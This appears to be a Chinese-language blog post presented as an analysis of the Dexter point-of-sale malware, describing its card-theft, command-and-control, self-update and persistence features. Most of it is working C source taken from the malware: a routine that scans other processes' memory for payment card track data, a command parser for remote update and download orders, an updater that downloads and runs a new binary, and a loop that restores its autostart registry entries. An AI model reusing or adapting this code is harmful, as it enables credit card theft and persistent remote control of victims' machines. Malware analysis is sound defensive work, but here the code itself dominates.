Dexter恶意软件系统功能与架构分析

用户4682003

发布于 2025-06-16 00:38:38

5900

代码可运行

文章被收录于专栏：网络安全技术点滴分享网络安全技术点滴分享

运行总次数：0

代码可运行

### 系统功能概述

该恶意软件系统是一个功能复杂的恶意软件，主要用于窃取信用卡信息、远程控制受感染的机器、自我更新和持久化。系统的主要功能包括：

1. **信息收集**：通过扫描进程内存，提取信用卡信息（Track1、Track2、Track3）。

2. **远程控制**：通过HTTP协议与C&C服务器通信，接收并执行命令，如下载文件、更新自身、卸载等。

3. **自我更新**：通过下载并执行更新文件，确保恶意软件保持最新版本。

4. **持久化**：通过修改注册表、注入进程、监控子进程状态，确保恶意软件在系统中长期驻留。

### 系统架构

1. **前端**：简单的HTML表单用于管理员登录和查看Bot信息。

2. **后端**：PHP脚本处理HTTP请求，与MySQL数据库交互，执行加密解密操作。

3. **数据库**：MySQL数据库存储Bot的信息和日志。

4. **恶意软件核心**：C语言编写的恶意软件核心模块，负责信息收集、远程控制、自我更新和持久化。

### 核心技术点

1. **内存扫描**：通过`ScanMemory`函数扫描目标进程的内存，寻找信用卡信息（Track1、Track2、Track3）。

BOOL ScanMemory() {
    HANDLE hProcess,hProcesses;
    MEMORY_BASIC_INFORMATION MBI;
    BYTE *Buf;
    DWORD ReadAddr,QueryAddr,BytesRead,BufSize;
    BOOL bRet,pBool;
    _memset(&ProcessInfo,0x00,sizeof(ProcessInfo));
    ProcessInfo.dwSize = sizeof(PROCESSENTRY32);
    hProcesses = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    Process32First(hProcesses,&ProcessInfo);
    do{
        if(SkipProcess(ProcessInfo.szExeFile)==TRUE) { continue; }
        if(CurPID==ProcessInfo.th32ProcessID||CurPID==ProcessInfo.th32ParentProcessID) { continue; }
        hProcess = OpenProcess(PROCESS_VM_READ|PROCESS_QUERY_INFORMATION,FALSE,ProcessInfo.th32ProcessID);
        if(hProcess==NULL) { continue; }
        if(x64==TRUE) {
            IsWoW64ProcessX(hProcess,&pBool);
            if(pBool==FALSE) { CloseHandle(hProcess); continue; }
        }
        QueryAddr = 0;
        while(1) {
            _memset(&MBI,0x00,sizeof(MBI));
            VirtualQueryEx(hProcess,(LPVOID)QueryAddr,&MBI,sizeof(MBI));
            if(MBI.BaseAddress==0 && QueryAddr!=0) { break; }
            QueryAddr += (DWORD) MBI.RegionSize;
            if(MBI.Protect&PAGE_NOACCESS || MBI.Protect&PAGE_GUARD) { continue; }
            ReadAddr = 0;
            while(MBI.RegionSize>0) {
                if(ReadAddr!=0) { ReadAddr+=ReadLimit; }
                else { ReadAddr = (DWORD) MBI.BaseAddress; }
                if(MBI.RegionSize>ReadLimit) { BufSize = ReadLimit; MBI.RegionSize -= ReadLimit; }
                else { BufSize = MBI.RegionSize; MBI.RegionSize = 0; }
                BytesRead = 0;
                Buf = pGlobalBuf;
                ReadProcessMemory(hProcess,(LPVOID)ReadAddr,Buf,BufSize,&BytesRead);
                TrackSearch(Buf,BytesRead);
                TrackSearchNoSentinels(Buf,BytesRead);
            }
        }
        CloseHandle(hProcess);
    }while(Process32Next(hProcesses, &ProcessInfo));
    CloseHandle(hProcesses);
    return bRet;
}

2. **远程控制**：通过`ExecCommands`函数解析并执行C&C服务器下发的命令，如更新、检查间隔、扫描间隔、卸载、下载等。

void ExecCommands(char *pCommands) {
    char Url[255],val[5];
    DWORD dVal;
    pCommands++;
    while(*pCommands!='#' && lstrlen(pCommands)) {
        if(StrCmpNI(pCommands,update,lstrlen(update))==0) {
            pCommands += lstrlen(update);
            CopyTill(Url,pCommands,';');
            lstrcat(Url,varKey);
            lstrcat(Url,Key);
            Update(Url);
        } else if(StrCmpNI(pCommands,checkin,lstrlen(checkin))==0) {
            pCommands += lstrlen(checkin);
            pCommands += CopyTill(val,pCommands,';');
            pCommands += 1;
            dVal = _atoi(val);
            if(dVal>0) { ConnectInterval = dVal; }
        } else if(StrCmpNI(pCommands,scanin,lstrlen(scanin))==0) {
            pCommands += lstrlen(scanin);
            pCommands += CopyTill(val,pCommands,';');
            pCommands += 1;
            dVal = _atoi(val);
            if(dVal>0) { ScanInterval = dVal; }
        } else if(StrCmpNI(pCommands,uninstall,lstrlen(uninstall))==0) {
            Uninstall();
        } else if(StrCmpNI(pCommands,download,lstrlen(download))==0) {
            pCommands += lstrlen(download);
            pCommands += CopyTill(Url,pCommands,';');
            pCommands += 1;
            lstrcat(Url,varKey);
            lstrcat(Url,Key);
            Downloader(Url);
        }
    }
}

3. **自我更新**：通过`Update`函数下载并执行更新文件，确保恶意软件保持最新版本。

void Update(char *Url) {
    HANDLE hFile,hProcess,hUpdateMutex;
    DWORD BytesWritten,FileSize,i;
    BYTE *pFile;
    STARTUPINFOW si;
    PROCESS_INFORMATION pi;
    char UpdateMutexString[64];
    WCHAR CommandLine[64],DirName[5],AppData[MAX_PATH],UpdateLocation[MAX_PATH];
    pFile = NULL;
    if((pFile = DownloadFile(Url,&FileSize))!=NULL) {
        SuspendThread(hThreadRegistry);
        SuspendThread(hThreadChild);
        SuspendThread(hThreadScan);
        RandStrW(DirName,5);
        SHGetFolderPathW(0,CSIDL_APPDATA,NULL,SHGFP_TYPE_CURRENT,AppData);
        wsprintfW(UpdateLocation,L"%s\\%s",AppData,DirName);
        CreateDirectoryW(UpdateLocation,NULL);
        wsprintfW(UpdateLocation,L"%s\\%s\\%s.exe",AppData,DirName,DirName);
        hFile = CreateFileW(UpdateLocation,GENERIC_WRITE,0,NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,NULL);
        BytesWritten = 0;
        WriteFile(hFile,pFile,FileSize,&BytesWritten,NULL);
        CloseHandle(hFile);
        VirtualFree(pFile,FileSize,MEM_DECOMMIT);
        _memset(&si,0x00,sizeof(si));
        _memset(&pi,0x00,sizeof(pi));
        _memset(UpdateMutexString,0x00,sizeof(UpdateMutexString));
        _memset(CommandLine,0x00,sizeof(CommandLine));
        wsprintf(UpdateMutexString,"%s%s",UpdateMutexMark,Key);
        MultiByteToWideChar(CP_ACP,0,UpdateMutexString,lstrlen(UpdateMutexString),CommandLine,sizeof(CommandLine));
        if(CreateProcessW(UpdateLocation,CommandLine,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi)!=0) {
            i = 0;
            while(i<60) {
                SetLastError(ERROR_SUCCESS);
                hUpdateMutex = CreateMutex(NULL,FALSE,UpdateMutexString);
                if(GetLastError()==ERROR_ALREADY_EXISTS) {
                    TerminateThread(hThreadRegistry,0);
                    TerminateThread(hThreadChild,0);
                    TerminateThread(hThreadScan,0);
                    hProcess = OpenProcess(PROCESS_TERMINATE,FALSE,ChildPID);
                    TerminateProcess(hProcess,0);
                    CloseHandle(hProcess);
                    DeleteFileW(CurrentLocation);
                    CloseHandle(hUpdateMutex);
                    CloseHandle((HANDLE)hMutex);
                    _memset(UpdateMutexString,0x00,sizeof(UpdateMutexString));
                    wsprintf(UpdateMutexString,"%s%s%d",UpdateMutexMark,Key,pi.dwProcessId);
                    CreateMutex(NULL,FALSE,UpdateMutexString);
                    while(1) { Sleep(5000); }
                }
                CloseHandle(hUpdateMutex);
                i++;
                Sleep(1000);
            }
        }
    }
    ResumeThread(hThreadRegistry);
    ResumeThread(hThreadChild);
    ResumeThread(hThreadScan);
}

4. **持久化**：通过`ProtectRegistry`函数监控并保护注册表项，确保恶意软件的开机自启动项不被删除。

void ProtectRegistry() {
    int i;
    HKEY hKey[3];
    HANDLE hEvent;
    DWORD dwFilter,LenInBytes;
    dwFilter = REG_NOTIFY_CHANGE_NAME|REG_NOTIFY_CHANGE_LAST_SET;
    LenInBytes = lstrlenW(CurrentLocation) * sizeof(WCHAR);
    i = 0;
    _memset(&hKey,0x00,sizeof(hKey));
    RegOpenKeyEx(HKEY_LOCAL_MACHINE,RunPath,0,KEY_ALL_ACCESS,&hKey[i]);
    if(hKey[i]!=NULL) { i++; }
    RegOpenKeyEx(HKEY_USERS,AllUsersRunPath,0,KEY_ALL_ACCESS,&hKey[i]);
    if(hKey[i]!=NULL) { i++; }
    RegOpenKeyEx(HKEY_CURRENT_USER,RunPath,0,KEY_ALL_ACCESS,&hKey[i]);
    i = 0;
    hEvent = CreateEvent(NULL, FALSE, FALSE, NULL);
    while(hKey[i]!=NULL) {
        RegSetValueExW(hKey[i],wUniq,0,REG_SZ,(const BYTE *)CurrentLocation,LenInBytes);
        RegNotifyChangeKeyValue(hKey[i],TRUE,dwFilter,hEvent,TRUE);
        i++;
    }
    while(1) {
        WaitForSingleObject(hEvent,INFINITE);
        i = 0;
        while(hKey[i]!=NULL) {
            RegSetValueExW(hKey[i],wUniq,0,REG_SZ,(const BYTE *)CurrentLocation,LenInBytes);
            RegNotifyChangeKeyValue(hKey[i],TRUE,dwFilter,hEvent,TRUE);
            i++;
        }
    }
}